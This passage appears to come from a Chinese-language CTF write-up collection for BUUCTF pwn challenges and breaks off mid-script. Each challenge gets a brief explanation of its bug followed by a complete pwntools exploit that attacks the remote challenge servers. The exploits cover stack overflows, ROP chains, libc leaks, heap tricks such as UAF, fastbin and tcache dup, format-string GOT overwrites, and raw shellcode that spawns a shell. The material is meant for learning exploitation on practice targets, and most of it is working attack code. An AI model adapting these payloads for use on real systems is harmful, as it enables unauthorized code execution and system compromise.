mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x100; #对应字节数
int 0x80;

write

1
2
3
mov eax,0x4;	# eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

#from LibcSearcher import *

a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',28484)
elf=ELF('./pwn')

shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
p.sendline(shellcode)
p.interactive()

shellcraft code

1
2
3
4
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)

babyfengshui_33c3_2016

在该程序中,每次分配一个0x80的chunk,chunk中第一部分存放指向text的指针,第二部分存放des,
该程序通过bss段上的地址索引0x80的chunk的地址,且该地址中存放的时指向text的指针,程序中的第三个功能中
对分配大小的检测为addr:text+size>=addr:chunk-4 源代码为:(char *)(v3 + *(_DWORD )(&ptr + a1)) >= (char )(&ptr + a1) - 4
只要能绕过这个检测造成堆溢出,flag就近在眼前了,可以堆溢出之后,通过覆盖其他0x80chunk的第一部分为free_got,然后打印,就可以泄露libc,泄露libc之后,改写got表为system,然后再free掉一个有/bin/sh的chunk就行了
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *
a=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',26986)
elf=ELF('./pwn')

def malloc(size,name,text):
p.recvuntil("Action: ")
p.sendline("0")
p.recvuntil("size of description: ")
p.sendline(str(size))
p.recvuntil("name: ")
p.sendline(name)
p.recvuntil("text length: ")
p.sendline(str(len(text)))
p.sendline(text)

def free(index):
p.recvuntil("Action: ")
p.sendline("1")
p.recvuntil("index: ")
p.sendline(str(index))

def printf(index):
p.recvuntil("Action: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))

def edit(index,text):
p.recvuntil("Action: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("text length: ")
p.sendline(str(len(text)))
p.recvuntil("text: ")
p.send(text)

malloc(0x80,"aaaa","bbbb")#0
malloc(0x80,"cccc","/bin/sh")#1
malloc(0x80,"eeee","/bin/sh")#2
free(0)
malloc(0x100,"gggg","/bin/sh")#3
payload=p32(0)*2+'\0'*0x100+p32(0x110)+p32(0x89)+p32(0)*2+'\0'*0x70+p32(0)*3+p32(0x89)
payload+=p32(elf.got['free'])
edit(3,payload)
printf(1)
p.recvuntil("description: ")
addr=u32(p.recv(4))
log.info("addr: "+hex(addr))

libc=LibcSearcher("free",addr)
libc_base=addr-libc.dump("free")
system=libc_base+libc.dump("system")

edit(1,p32(system))
free(2)
p.interactive()

wustctf2020_getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#from LibcSearcher import *

a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',29268)
elf=ELF('./pwn')

shell_addr=0x0804851B
payload='a'*0x18+p32(0x0804859E)+p32(shell_addr)
p.sendline(payload)
p.interactive

cmcc_simplerop

做这道题真的学到了挺多东西,如system系统调用,当溢出空间不足时,pop掉调用过的函数的参数,调用read函数往已知的地址写/bin/sh\x00,还有
注意read函数中读入字符串的长度
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
#from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',28537)
elf=ELF('./pwn')
pop_eax_ret=0x080bae06
pop_edx_ecx_ebx_ret=0x0806e850
int_addr=0x080493e1
read_addr=0x0806CD50
heap_addr=0x080eb000
payload='a'*0x20+p32(read_addr)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(heap_addr)+p32(8)
payload+=p32(pop_eax_ret)+p32(11)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(heap_addr)+p32(int_addr)
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()

picoctf_2018_buffer overflow 2

注意调用函数中参数的位置在返回地址后面就行,做这个题突然想起来picoctf_2018_rop chain,这个题和上面那个题的区别在于一个是全局变量,一个是参数,参数可以控制,全局变量需要程序提供的函数控制,更复杂一点
这个比picoctf_2018_buffer overflow 2更难的一点在于这里要传正确的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#from LibcSearcher import *
a=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',25717)
elf=ELF('./pwn')
win_addr=0x080485CB
payload='a'*0x6c+'aaaa'+p32(win_addr)+p32(0x0804866D)+p32(0xdeadbeef)+p32(0xdeadc0de)
p.sendline(payload)
p.interactive()

[ZJCTF 2019]Login

这个题的反汇编很多都是c++,有点难看,这个题最核心的就是找到password与0x4000b4的偏移,然后将0x4000b4覆盖成后门函数的地址
,虽然看上去很简单,但是需要大量的调试

1
2
3
4
5
6
7
8
9
10
11
12
13
a=1
if(a==0):
io=process('./pwn')
elf=ELF('./pwn')
else:
io=remote('node3.buuoj.cn',26188)
elf=ELF('./pwn')
get_flag_addr = 0x00400E88
offset = 0x48
payload = "2jctf_pa5sw0rd"+'\x00'*(0x48-len("2jctf_pa5sw0rd"))+p64(get_flag_addr)
io.sendlineafter("Please enter username: ","admin")
io.sendlineafter("Please enter password: ",payload)
io.interactive()

xdctf2015_pwn200

栈溢出泄露libc,然后跳转到system
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',25201)
elf=ELF('./pwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
vul_addr=0x080484D6
payload='a'*0x6c+'aaaa'+p32(write_plt)+p32(vul_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("~!\n")
p.sendline(payload)
write_ad=u32(p.recv(4))
libc=LibcSearcher('write',write_ad)
libc_base=write_ad-libc.dump('write')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')
payload='a'*0x6c+'aaaa'+p32(sys_ad)+p32(write_plt)+p32(bin_ad)
p.sendline(payload)
p.interactive()

jarvisoj_level1

这个题本地和远程不太一样,本地是先告诉你一个栈地址再输入,远程是先输入再告诉你一个栈地址,因此本地可以用shellcraft,要简单很多
远程思路:泄露libc+ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',28977)
elf=ELF('./pwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
vul_ad=0x0804847B
payload='a'*0x88+p32(vul_ad)+p32(write_plt)
payload+=p32(vul_ad)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_ad=u32(p.recv(4))
libc=LibcSearcher('write',write_ad)
libc_base=write_ad-libc.dump('write')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')
payload='a'*0x88+'aaaa'+p32(sys_ad)+p32(write_plt)+p32(bin_ad)
p.sendline(payload)
p.interactive()

bbys_tu_2016

偏移和ida里的不太一样,然后跳转到flag就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',25567)
elf=ELF('./pwn')
flag_ad=0x0804856D
main_ad=0x080485C9
payload='a'*0x18+p32(flag_ad)
p.sendline(payload)
print(p.recv())
p.interactive()

ciscn_2019_n_3

一个简单的uaf题,这个题最坑的地方就在于最后会追加一个回车,并且那个回车会改变堆的地址,一开始一直没注意……
结构1:
0xc print地址 free地址 堆地址
结构2:
size text
当这个函数执行free操作时,参数对应的地址时bss段上对应的内容,这也是那个sh\x00\x00的原因
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#from LibcSearcher import *
a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
else:
p=remote('node3.buuoj.cn',25274)
elf=ELF('./pwn')
def malloc(index,leng,text):
p.recvuntil("CNote > ")
p.sendline("1")
p.recvuntil("Index > ")
p.sendline(str(index))
p.recvuntil("Type > ")
p.sendline("2")
p.recvuntil("Length > ")
p.sendline(str(leng))
p.recvuntil("Value > ")
p.sendline(text)
def free(index):
p.recvuntil("CNote > ")
p.sendline("2")
p.recvuntil("Index > ")
p.sendline(str(index))
def show(index):
p.recvuntil("CNote > ")
p.sendline("3")
p.recvuntil("Index > ")
p.sendline(str(index))
#0xc print free heap
sys_ad=0x08048500
malloc(0,0x20,"aaaa")
malloc(1,0x20,"bbbb")
free(0)
free(1)
malloc(2,0xc,"sh\x00\x00"+p32(sys_ad))
free(0)
p.interactive()

inndy_rop

这个程序通过静态编译,泄露libc的方法失效、、、、、不过可以通过ropchain,ROPgadget可以直接生产ROPchain,命令为
ROPgadget –binary pwn –ropchain
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from struct import pack
#from LibcSearcher import *

a=1
if(a==0):
io=process('./pwn')
elf=ELF('./pwn')
else:
io=remote('node3.buuoj.cn',29013)
elf=ELF('./pwn')

p = ''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline("a"*0xc+"aaaa"+p)

io.interactive()

mrctf2020_shellcode

未开nx,开了canary,以及pie,不能查看反汇编代码
输入shellcode就能得到shell
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#from LibcSearcher import *

a=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
context(arch = 'amd64|i386', os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',26695)
elf=ELF('./pwn')
context(arch = 'amd64|i386', os = 'linux', log_level = 'debug')

shellcode=asm(shellcraft.sh())

p.sendline(shellcode)
p.interactive()

roarctf_2019_easy_pwn

这个题漏洞点在于单字节溢出,思路是通过溢出修改堆大小,并覆盖大堆,然后泄露main_arena,之后的思路和上面一样,然后改malloc_hook为og就可以了
但是,og不满足条件,这时可以修改realloc处的值来满足条件,这个题目对我来说,最大的难点在于如何修改大小并成功覆盖下一个small bin,
做了好久、、、、、、

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
#from LibcSearcher import *
a=0
b=1
libc=ELF("./libc-2.23.so")
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote("node3.buuoj.cn",25084)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')

def add(size):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))

def wt(index,size,content):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(content)

def free(index):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))

def show(index):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))

add(0x18)#ad: 0x00 0
add(0x18)#ad: 0x20 1
add(0x88)#ad: 0x40 2
add(0x88)#ad: 0xe0 3

add(0x18)#4
add(0x28)#5
add(0x68)#6
add(0x18)

wt(0,34,"a"*0x18+p8(0xb1))
free(1)

add(0xa8)#1

wt(1,0x20,"a"*0x18+p64(0x91))

free(2)

show(1)

p.recvuntil("content: ")

p.recv(0x20)

ad=u64(p.recv(6).ljust(8,'\x00'))
log.info("main_arena: " +hex(ad))

malloc_hook=ad-0x68

libc_base=malloc_hook-libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']

log.info("malloc_hook: "+hex(malloc_hook))
log.info("realloc_hook: "+hex(realloc))

one_gadget=libc_base+0x4527a


wt(4,34,"a"*0x18+p8(0xa1))

free(5)
free(6)
add(0x98)#2

wt(2,0x38,"b"*0x28+p64(0x71)+p64(malloc_hook-0x23))
add(0x68)#5

add(0x68)#6
wt(6,27,"a"*(0x13-8)+p64(one_gadget)+p64(realloc+16))
gdb.attach(p)
add(0x10)

p.interactive()

gyctf_2020_borrowstack

这个题是个简单的栈迁移,但是一开始还是没写出来(没注意64位,还忘了利用方式……)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
a=1
b=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',28520)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
bss_ad=0x0601080
lr_ad=0x0400699
ret_ad=0x4004c9
pop_rdi=0x400703
put_plt=elf.plt['puts']
put_got=elf.got['puts']
main_ad=0x400626
payload="a"*0x60+p64(bss_ad)+p64(lr_ad)
p.send(payload)
p.recvuntil("stack now!")
payload=p64(ret_ad)*((0x100-0x20)/8)+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main_ad)
p.send(payload)
p.recv()
ad=u64(p.recv(6).ljust(8,'\x00'))
libc_base=ad-0x06f690
og=libc_base+0x4526a
log.info("libc_base: "+hex(libc_base))
payload="a"*0x60+"bbbb"*2+p64(og)
p.send(payload)
p.sendline("a")
p.interactive()

axb_2019_fmt32

思路先通过格式化字符串漏洞,往栈上写got,然后泄露地址,泄露libc之后,再将符合条件的函数的got表改为system,再输入’;/bin/sh\x00’(;改成&也可以)就可以了(因为str之前还有别的字符串会当成命令,直接输入/bin/sh执行不了)
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

from LibcSearcher import *
a=1
b=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',29171)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
offest=8
payload="a"+p32(elf.got["puts"])+"qq"+"%8$s"
p.sendline(payload)
p.recvuntil("qq")
ad=u32(p.recv(4))
libc=LibcSearcher("puts",ad)
libc_base=ad-libc.dump("puts")
sys_ad=libc_base+libc.dump("system")
strlen_got=elf.got["strlen"]
h_sys=(sys_ad>>16)&0xffff
l_sys=sys_ad&0xffff
payload="a"+p32(strlen_got)+p32(strlen_got+2)+"%"+str(l_sys-18)+"c%8$hn"
payload+="%"+str(h_sys-l_sys)+"c%9$hn"
p.sendline(payload)
p.sendline(";/bin/sh\x00")
p.interactive()

others_babystack

挺简单的一道题,先泄露canary,然后栈溢出泄露libc,再ret system,只是我在做这个题的过程中忘记了覆盖 rip,之后要ret,也就是题目中
功能3的意义所在
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
a=1
b=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',26913)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')

write_plt=0x4006A0
main_ad=0x400908
puts_plt=elf.plt['puts']
pop_rdi=0x400a93#pop rdi ; ret
pop_rsi=0x400a91#pop rsi ; pop r15 ; ret
p.sendlineafter(">> ","1")
payload="a"*(0x90-0x8)+"a"
p.send(payload)
p.sendlineafter(">> ","2")
p.recvuntil("a"*(0x90-0x8))
canary=u64(p.recv(8))-97
log.info("canary: "+hex(canary))
p.sendlineafter(">> ","1")
payload="a"*(0x90-0x8)+p64(canary)+p64(main_ad)+p64(pop_rdi)+p64(elf.got['puts'])
payload+=p64(puts_plt)+p64(main_ad)
p.sendline(payload)
p.sendlineafter(">> ","3")
ad=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',ad)
libc_base=ad-libc.dump('puts')
sys_ad=libc_base+libc.dump('system')
bin_ad=libc_base+libc.dump('str_bin_sh')
p.sendlineafter(">> ","1")
payload="a"*(0x90-0x8)+p64(canary)+"aaaa"*2+p64(pop_rdi)+p64(bin_ad)
payload+=p64(sys_ad)+p64(main_ad)
log.info("ad: "+hex(ad))
p.sendline(payload)
p.sendlineafter(">> ","3")
p.interactive()

mrctf2020_easyoverflow

保护全开,没什么好说的,只要找到fake_flag对应的字符串就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
a=1
b=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',28089)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
payload="a"*48+"n0t_r3@11y_f1@g"
#gdb.attach(p)
p.sendline(payload)
p.interactive()

wustctf2020_getshell_2

这个题只能溢出eip后面四个字节,如果直接使用system_plt需要接放回地址,但是没有参数,而使用 call system后,后面的数据即为参数
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
a=1
b=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',25352)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')

sh_ad=0x08048670
call_sys=0x08048529
payload="a"*0x18+"aaaa"+p32(call_sys)+p32(sh_ad)
p.sendline(payload)
p.interactive()

pwnable_start

内联汇编
程序中没有main函数只有一个start,什么保护都没开,并且通过系统调用使用了write和read,不过可以溢出到ret,先ret到0x08048087
然后就可以泄露栈地址,然后再输入shellcode再跳转就能getshell了(shellcode有长度限制shellcraft生产的太长了)
后面为ad+20是因为ret中有pop eip,因此不是+24
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

from pwn import *
from LibcSearcher import *
a=1
b=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',27532)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
ad=0x08048087
payload="a"*20+p32(ad)
p.sendafter(":",payload)
ad=u32(p.recv(4))
log.info("ad: "+hex(ad))
shellcode= '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload="a"*20+p32(ad+20)+shellcode
p.sendline(payload)
p.interactive()

ciscn_2019_s_4

这题的exp用ciscn_2019_es_2也可以打通,都是栈迁移漏洞
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
a=1
b=0
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',29690)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
#context( os = 'linux', log_level = 'debug')

sys_ad=0x08048400
leave_ad=0x080485FD
p.recvuntil("name?\n")

payload="a"*0x28
p.send(payload)
p.recvuntil("a"*0x28)
ebp=u32(p.recv(4))
log.info("ebp: "+hex(ebp))
payload="aaaa"+p32(sys_ad)+p32(0)+p32(ebp-0x28)+"/bin/sh\x00\x00"
payload=payload.ljust(0x28,"a")
payload+=p32(ebp-0x38)+p32(leave_ad)
p.sendline(payload)
p.interactive()

hitcontraining_magicheap

第一次这么快做出一道堆题、、、、、、这个题目中edit部分存在堆溢出,同时这个程序中没有show,基本无法泄露libc,不过给了system(“/bin/sh”)
并且edit是通过heaparray上的地址来edit,如果heaparray上的内容为某个got表,那我们就可以将free的got表改为sys_ad,然后free一个chunk
就能getshell了
思路:先通过fastbinattack来实现任意地址写,然后再heaparray附近找到符合条件的地址,0x60208d出正好满足条件,于是,通过malloc得到
那个堆块,然后覆盖掉heaparray第一项为free的got表,然后再editfree的got表为0x400C50就能getshell
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
#from LibcSearcher import *
a=1
b=1
if(a==0):
p=process('./pwn')
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
context( os = 'linux', log_level = 'debug')
else:
p=remote('node3.buuoj.cn',25858)
elf=ELF('./pwn')
if(b==0):
arch = 'i386'
else:
arch = 'amd64'
context( os = 'linux', log_level = 'debug')

def malloc(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil(" : ")
p.sendline(str(size))
p.recvuntil("heap:")
p.send(content)

def edit(index,size,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil(" : ")
p.sendline(str(size))
p.recvuntil(" : ")
p.send(content)

def free(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))

ary_ad=0x6020C0
sys_ad=0x400C50
malloc(0x18,"aaaa"+"bbbb")#0
malloc(0x68,"cccc"+"dddd")#1
malloc(0x18,"eeee"+"ffff")#2
free(1)
edit(0,0x28,"a"*0x18+p64(0x71)+p64(0x60208d))
malloc(0x68,"a")#3
malloc(0x68,"a"*3+p64(0)*4+p64(elf.got["free"]))#4
edit(0,8,p64(sys_ad))
free(2)
p.interactive()

ciscn_2019_final_3

通过大量的调试,我算是整明白这个题了,整明白后本地打不通我也不知道为什么,这个题创建堆会返回堆的地址,没有别的
地方可以泄露libc,而根据大于0x400的堆杯free会放入unsorted bin中,且fd为main_arena+96,可以想办
法分配到main_arena,思路是伪造一个0x400的堆来泄露libc,通过tcache dup来分配到第一个堆,然后改他的大小为0x421,
改完之后在分配几个堆,使大堆的fd到别的堆的fd,然后再多分配几个大小相同的堆,就可以分配到main_arena,就可以泄露libc了
然后再通过tcache dup 分配到__free_hook 改为system 基本就可以了
附上别人的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

from pwn import *
io=remote("node4.buuoj.cn",28899)
libc=ELF('./libc.so.6')

def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)

def free(idx):
io.recvuntil('choice > ')
io.sendline('2')
io.recvuntil('the index')
io.sendline(str(idx))

#size=0x421
ad=add(0,0x78,"a")
log.info("ad: "+hex(ad))
add(1,0x78,"b")
add(2,0x78,"c")
add(3,0x78,"d")
add(4,0x78,"e")
add(5,0x78,"f")
add(6,0x78,"g")
add(7,0x78,"h")

add(8,0x18,"aaaa")
add(9,0x28,"bbbb")
free(8)
free(8)

add(12,0x18,p64(ad-0x10))
add(10,0x18,p64(ad-0x10))
add(11,0x18,p64(0)+p64(0x421))

free(0)
free(1)

add(13,0x28,"aaaa")
add(14,0x48,"bbbb")

add(15,0x78,"cccc")

libc_base=add(16,0x78,'')-0x3ebca0
log.info("libc: "+hex(libc_base))

malloc_hook=libc_base+libc.sym["__free_hook"]
log.info("malloc_hook: "+hex(malloc_hook))
og_ad=libc_base+0x10a38c#0x4f2c5 0x10a38c
sys_ad=libc_base+libc.sym["system"]
add(17,0x38,"aaaaaaaa")
free(17)
free(17)

add(18,0x38,p64(malloc_hook))
add(19,0x38,p64(malloc_hook))
add(20,0x38,p64(sys_ad))

#gdb.attach(io)

add(21,0x20,"/bin/sh\x00")

free(21)

io.interactive()

hitcontraining_heapcreator

程序的有malloc,edit,show,free功能
本题中的两个结构题
大小0x10
struct1{
int size;
char * ptr->heap;
}
大小由用户控制
struct2{
char * content;
}
edit功能中存在off-by-one,可以先多创建几个chunk,然后通过off-by-one,修改一个chunk大小覆盖别的存放了ptr的chunk,然后修改ptr中的内容为got表,再通过show打印对应的heap,就可以泄露libc,之后就可以通过改free的got表
为system,再getshell
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",28182)
elf=ELF("./pwn")
def malloc(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)

def edit(index,content):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.send(str(index))
p.recvuntil("Content of heap : ")
p.sendline(content)

def show(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))

def free(index):
p.recvuntil("choice :")
p.sendline("4")
p.recvuntil("Index :")
p.sendline(str(index))

free_got=elf.got['free']
log.info("free_got: "+hex(free_got))
malloc(0x18,"/bin/sh\x00\x00")#0
malloc(0x20,"bbbb")#1
malloc(0x30,"/bin/sh\x00\x00")#2
malloc(0x20,"/bin/sh\x00\x00")
edit(0,"a"*0x18+p8(0x71))
free(1)
malloc(0x60,"dddd")#1
edit(1,p64(0)*3+p64(0x31)+p64(0)*5+p64(0x21)+p64(0x30)+p64(free_got))
show(2)
p.recvuntil("Content : ")
